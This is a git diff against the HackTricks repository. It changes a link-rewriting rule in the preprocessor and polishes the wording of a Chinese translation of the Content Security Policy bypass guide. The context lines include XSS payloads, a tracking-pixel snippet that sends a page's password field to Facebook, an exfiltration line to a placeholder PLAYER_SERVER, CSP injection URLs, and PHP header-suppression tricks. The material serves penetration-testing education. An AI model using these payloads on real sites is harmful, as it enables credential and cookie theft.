diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index af5949449..5d070c39f 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -78,6 +78,9 @@ def ref(matchobj): sys.exit(1) + if href.endswith("/README.md"): + href = href.replace("/README.md", "/index.html") + template = f"""{title}""" # translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"}) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 33e0dda43..02840d189 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; CSP 可以通过以下头部进行强制执行或监控: -- `Content-Security-Policy`: 强制执行 CSP;浏览器会阻止任何违规行为。 +- `Content-Security-Policy`: 强制执行 CSP;浏览器阻止任何违规行为。 - `Content-Security-Policy-Report-Only`: 用于监控;报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。 ### Defining Resources @@ -107,7 +107,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline'; ``` 有效的有效载荷: `"/>` -#### 通过 Iframes 的 self + 'unsafe-inline' +#### self + 'unsafe-inline' 通过 Iframes {{#ref}} csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval'; ``` ### strict-dynamic -如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中,并且是由允许的脚本创建的,那么**新的脚本标签将被允许执行**。 +如果你能以某种方式使一个**被允许的 JS 代码创建一个新的 script 标签**在 DOM 中,并且是由一个被允许的脚本创建的,那么**新的 script 标签将被允许执行**。 ### Wildcard (\*) ```yaml @@ -159,11 +159,11 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ; ```markup "/>'> ``` -然而,服务器**正在验证上传的文件**,只允许您**上传特定类型的文件**,这很可能。 +然而,服务器**正在验证上传的文件**,只会允许您**上传特定类型的文件**。 -此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/**提供它。 +此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/***提供它。 -从这里开始,如果您发现XSS和文件上传,并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。 +从这里开始,如果您发现了XSS和文件上传,并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。 ### Form-action @@ -172,7 +172,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ; ### 第三方端点 + ('unsafe-eval') > [!WARNING] -> 对于以下某些有效负载**`unsafe-eval`甚至不需要**。 +> 对于以下某些有效负载,**`unsafe-eval`甚至不需要**。 ```yaml Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; ``` @@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> ``` #### 利用 www.google.com 进行开放重定向 -以下 URL 重定向到 example.com (来自 [here](https://www.landh.tech/blog/20240304-google-hack-50000/)): +以下 URL 重定向到 example.com (来自 [这里](https://www.landh.tech/blog/20240304-google-hack-50000/)): ``` https://www.google.com/amp/s/example.com/ ``` @@ -290,12 +290,12 @@ https://www.youtube.com/oembed?callback=alert; ### 第三方滥用 -如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述,有许多第三方域名可能在CSP中被允许,可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是: +如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述,许多第三方域名可能在CSP中被允许,可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是: | 实体 | 允许的域名 | 能力 | | ----------------- | ------------------------------------------ | ------------ | | Facebook | www.facebook.com, \*.facebook.com | Exfil | -| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | +| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | | Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | | Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | | Amazon AWS | \*.amazonaws.com | Exfil, Exec | @@ -329,11 +329,11 @@ fbq('trackCustom', 'My-Custom-Event',{​ data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​ }); ``` -对于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。 +至于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。 ### 通过 RPO(相对路径覆盖)绕过 -除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术,可以在某些服务器上使用。 +除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术可以在某些服务器上使用。 例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以通过以下方式绕过: ```html @@ -370,7 +370,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe 一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。然而,AngularJS 引入了自定义事件作为替代。在事件中,AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。 -通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段演示了这个过程: +通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段阐明了这个过程: ```xml #x ?search=#x @@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_) ``` 从: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) -您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) +您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**将其上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) ### 使用服务工作者 @@ -462,25 +462,25 @@ Image().src='http://PLAYER_SERVER/?'+_) #### Chrome -如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**使其**无效**。您可以通过以下任何绕过方法**允许脚本 'unsafe-inline'**: +如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**,使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**: ```bash script-src-elem *; script-src-attr * script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline' ``` -因为这个指令将**覆盖现有的script-src指令**。\ -您可以在这里找到一个示例:[http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E) +因为这个指令将会**覆盖现有的 script-src 指令**。\ +你可以在这里找到一个例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E) #### Edge -在Edge中要简单得多。如果您可以在CSP中添加这个:**`;_`** **Edge**将**丢弃**整个**策略**。\ -示例:[http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E]() +在 Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将会**丢弃**整个**策略**。\ +例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E]() -### img-src \*; 通过XSS(iframe)- 时间攻击 +### img-src \*; 通过 XSS (iframe) - 时间攻击 -注意缺少指令`'unsafe-inline'`\ -这次您可以让受害者通过**XSS**使用` // The bot will load an URL with the payload @@ -542,13 +542,13 @@ run() ``` ### 通过书签小程序 -此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**,例如cookies或tokens。 +此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当被拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**,例如cookies或tokens。 有关更多信息,请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 ### 通过限制CSP绕过CSP -在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,CSP通过在允许的iframe内注入更严格的CSP来绕过,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。 +在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,通过在允许的iframe内注入更严格的CSP来绕过CSP,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本以加载任意脚本**。 您可以使用**`csp`**属性**限制iframe的CSP**: ```html @@ -579,7 +579,7 @@ document.querySelector("DIV").innerHTML = ``` ### 利用CSP和Iframe泄露信息 -- 创建一个指向URL的`iframe`(我们称之为`https://example.redirect.com`),该URL被CSP允许。 +- 创建一个指向一个URL的`iframe`(我们称之为`https://example.redirect.com`),该URL被CSP允许。 - 该URL随后重定向到一个秘密URL(例如,`https://usersecret.example2.com`),该URL在CSP中**不被允许**。 - 通过监听`securitypolicyviolation`事件,可以捕获`blockedURI`属性。该属性揭示了被阻止的URI的域名,从而泄露了初始URL重定向的秘密域名。 @@ -589,24 +589,24 @@ document.querySelector("DIV").innerHTML = ```markdown img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` -通过监控哪些请求被CSP阻止或允许,可以缩小秘密子域名中可能的字符范围,最终揭示完整的URL。 +通过监控CSP阻止或允许的请求,可以缩小秘密子域名中可能的字符范围,最终揭示完整的URL。 这两种方法利用了CSP在浏览器中的实现和行为的细微差别,展示了看似安全的策略如何无意中泄露敏感信息。 -Trick from [**here**](https://ctftime.org/writeup/29310). +来自[**这里**](https://ctftime.org/writeup/29310)的技巧。 -## 不安全的技术以绕过CSP +## 绕过CSP的危险技术 ### 当参数过多时的PHP错误 -根据[**这个视频中评论的最后一个技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM),发送过多参数(1001个GET参数,尽管你也可以使用POST参数和超过20个文件)。在PHP网页代码中定义的任何**`header()`**都**不会被发送**,因为这将触发错误。 +根据[**这个视频中评论的最后一种技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM),发送过多参数(1001个GET参数,尽管你也可以使用POST参数和超过20个文件)。在PHP网页代码中定义的任何**`header()`**都**不会被发送**,因为这将触发错误。 ### PHP响应缓冲区溢出 PHP默认情况下**将响应缓冲到4096**字节。因此,如果PHP显示警告,通过提供**足够的数据在警告中**,**响应**将在**CSP头**之前**发送**,导致头被忽略。\ -然后,这个技术基本上是**用警告填充响应缓冲区**,以便CSP头不被发送。 +然后,这种技术基本上是**用警告填充响应缓冲区**,以便CSP头不被发送。 -Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). +来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)的想法。 ### 重写错误页面 @@ -619,13 +619,13 @@ a.document.body.innerHTML = `